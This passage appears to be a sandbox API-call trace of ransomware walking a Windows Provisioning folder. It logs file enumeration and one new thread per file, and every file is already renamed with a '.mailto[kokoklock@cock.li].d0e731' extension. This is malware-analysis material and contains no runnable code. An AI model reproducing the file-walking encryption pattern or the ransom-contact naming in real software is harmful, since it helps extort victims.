_Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0176.358] wcscat (in: _Dest=0x2fa6d70, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0176.358] wcscat (in: _Dest=0x2fa6d70, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\*" [0176.358] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3022bf0 [0176.358] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\*", lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21b6e507, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8eb3c825, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8eb3c825, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f80360 [0176.361] wcscmp (_String1=".", _String2=".") returned 0 [0176.361] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21b6e507, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8eb3c825, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8eb3c825, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0176.362] wcscmp (_String1="..", _String2=".") returned 1 [0176.362] wcscmp (_String1="..", _String2="..") returned 0 [0176.363] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900a4472, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x900a4472, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8d3dba5a, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x39d, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Connections_Cellular_Albanian Mobile Communications (Albania)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="0__CON~1.D0E")) returned 1 [0176.363] wcscmp (_String1="0__Connections_Cellular_Albanian Mobile Communications (Albania)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0176.363] wcscmp (_String1="0__Connections_Cellular_Albanian Mobile Communications (Albania)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0176.363] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x1b0) returned 0x2f8d660 [0176.363] wcscpy (in: _Dest=0x2f8d660, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0176.363] wcscat (in: _Dest=0x2f8d660, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0176.363] wcscat (in: _Dest=0x2f8d660, _Source="0__Connections_Cellular_Albanian Mobile Communications (Albania)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\0__Connections_Cellular_Albanian Mobile Communications (Albania)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\0__Connections_Cellular_Albanian Mobile Communications (Albania)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0176.660] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f8d660, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4b4 [0176.660] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90437e87, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90437e87, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8d3b58ea, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x352, dwReserved0=0x0, dwReserved1=0x0, cFileName="100__Connections_Cellular_Telia DK (Denmark)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="100__C~1.D0E")) returned 1 [0176.660] wcscmp (_String1="100__Connections_Cellular_Telia DK (Denmark)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0176.660] wcscmp (_String1="100__Connections_Cellular_Telia DK (Denmark)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0176.660] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x188) returned 0x2f8f458 [0176.660] wcscpy (in: _Dest=0x2f8f458, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0176.660] wcscat (in: _Dest=0x2f8f458, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0176.661] wcscat (in: _Dest=0x2f8f458, _Source="100__Connections_Cellular_Telia DK (Denmark)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\100__Connections_Cellular_Telia DK (Denmark)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\100__Connections_Cellular_Telia DK (Denmark)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0176.661] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f8f458, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9b8 [0176.661] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90437e87, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90437e87, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8d369608, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x292, dwReserved0=0x0, dwReserved1=0x0, cFileName="101__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="101__C~1.D0E")) returned 1 [0176.661] wcscmp (_String1="101__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0176.661] wcscmp (_String1="101__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0176.661] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x16a) returned 0x2fabb60 [0176.661] wcscpy (in: _Dest=0x2fabb60, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0176.661] wcscat (in: _Dest=0x2fabb60, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0176.661] wcscat (in: _Dest=0x2fabb60, _Source="101__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\101__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\101__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731" [0176.662] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fabb60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x73c [0176.662] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90437e87, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90437e87, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8d343148, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x34a, dwReserved0=0x0, dwReserved1=0x0, cFileName="102__Connections_Cellular_Claro (Dominican Republic)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="102__C~1.D0E")) returned 1 [0176.662] wcscmp (_String1="102__Connections_Cellular_Claro (Dominican Republic)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0176.662] wcscmp (_String1="102__Connections_Cellular_Claro (Dominican Republic)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0176.662] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x198) returned 0x2fabcd8 [0176.662] wcscpy (in: _Dest=0x2fabcd8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0176.662] wcscat (in: _Dest=0x2fabcd8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0176.662] wcscat (in: _Dest=0x2fabcd8, _Source="102__Connections_Cellular_Claro (Dominican Republic)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\102__Connections_Cellular_Claro (Dominican Republic)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\102__Connections_Cellular_Claro (Dominican Republic)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0176.662] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fabcd8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3a4 [0176.663] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9045e0ef, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9045e0ef, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8d31d0dc, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x35e, dwReserved0=0x0, dwReserved1=0x0, cFileName="103__Connections_Cellular_Claro (Dominican Republic)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="103__C~1.D0E")) returned 1 [0176.663] wcscmp (_String1="103__Connections_Cellular_Claro (Dominican Republic)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0176.663] wcscmp (_String1="103__Connections_Cellular_Claro (Dominican Republic)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0176.663] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x198) returned 0x2fabe78 [0176.663] wcscpy (in: _Dest=0x2fabe78, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0176.663] wcscat (in: _Dest=0x2fabe78, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0176.663] wcscat (in: _Dest=0x2fabe78, _Source="103__Connections_Cellular_Claro (Dominican Republic)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\103__Connections_Cellular_Claro (Dominican Republic)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\103__Connections_Cellular_Claro (Dominican Republic)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0176.663] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fabe78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9b4 [0176.664] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9045e0ef, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9045e0ef, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8d2f6eb0, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x343, dwReserved0=0x0, dwReserved1=0x0, cFileName="104__Connections_Cellular_PORTA GSM (Ecuador)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="104__C~1.D0E")) returned 1 [0176.664] wcscmp (_String1="104__Connections_Cellular_PORTA GSM (Ecuador)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0176.664] wcscmp (_String1="104__Connections_Cellular_PORTA GSM (Ecuador)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0176.664] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18a) returned 0x4f0b880 [0176.664] wcscpy (in: _Dest=0x4f0b880, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0176.664] wcscat (in: _Dest=0x4f0b880, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0176.664] wcscat (in: _Dest=0x4f0b880, _Source="104__Connections_Cellular_PORTA GSM (Ecuador)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\104__Connections_Cellular_PORTA GSM (Ecuador)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\104__Connections_Cellular_PORTA GSM (Ecuador)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0176.664] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f0b880, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9b0 [0176.665] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9045e0ef, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9045e0ef, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8cf633ea, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x399, dwReserved0=0x0, dwReserved1=0x0, cFileName="105__Connections_Cellular_Telefonica (Ecuador)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="105__C~1.D0E")) returned 1 [0176.665] wcscmp (_String1="105__Connections_Cellular_Telefonica (Ecuador)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0176.665] wcscmp (_String1="105__Connections_Cellular_Telefonica (Ecuador)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0176.665] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18c) returned 0x4f0ba18 [0176.665] wcscpy (in: _Dest=0x4f0ba18, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0176.665] wcscat (in: _Dest=0x4f0ba18, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0176.665] wcscat (in: _Dest=0x4f0ba18, _Source="105__Connections_Cellular_Telefonica (Ecuador)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\105__Connections_Cellular_Telefonica (Ecuador)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\105__Connections_Cellular_Telefonica (Ecuador)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0176.665] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f0ba18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9ac [0176.666] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9045e0ef, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9045e0ef, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8d2d0c9f, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x38a, dwReserved0=0x0, dwReserved1=0x0, cFileName="106__Connections_Cellular_Mobinil (Egypt)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="106__C~1.D0E")) returned 1 [0176.666] wcscmp (_String1="106__Connections_Cellular_Mobinil (Egypt)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0176.666] wcscmp (_String1="106__Connections_Cellular_Mobinil (Egypt)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0176.666] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x182) returned 0x4f0bbb0 [0176.666] wcscpy (in: _Dest=0x4f0bbb0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0176.666] wcscat (in: _Dest=0x4f0bbb0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0176.666] wcscat (in: _Dest=0x4f0bbb0, _Source="106__Connections_Cellular_Mobinil (Egypt)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\106__Connections_Cellular_Mobinil (Egypt)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\106__Connections_Cellular_Mobinil (Egypt)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0176.666] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f0bbb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3a8 [0176.666] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9048435b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9048435b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8e3e2063, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x420, dwReserved0=0x0, dwReserved1=0x0, cFileName="107__Connections_Cellular_Vodafone Egypt (Egypt)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="107__C~1.D0E")) returned 1 [0176.666] wcscmp (_String1="107__Connections_Cellular_Vodafone Egypt (Egypt)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0176.666] wcscmp (_String1="107__Connections_Cellular_Vodafone Egypt (Egypt)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0176.667] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x190) returned 0x4f0bd40 [0176.667] wcscpy (in: _Dest=0x4f0bd40, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0176.667] wcscat (in: _Dest=0x4f0bd40, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0176.667] wcscat (in: _Dest=0x4f0bd40, _Source="107__Connections_Cellular_Vodafone Egypt (Egypt)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\107__Connections_Cellular_Vodafone Egypt (Egypt)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\107__Connections_Cellular_Vodafone Egypt (Egypt)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0176.667] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f0bd40, dwCreationFlags=0x0, lpThreadId=0x0 | out: 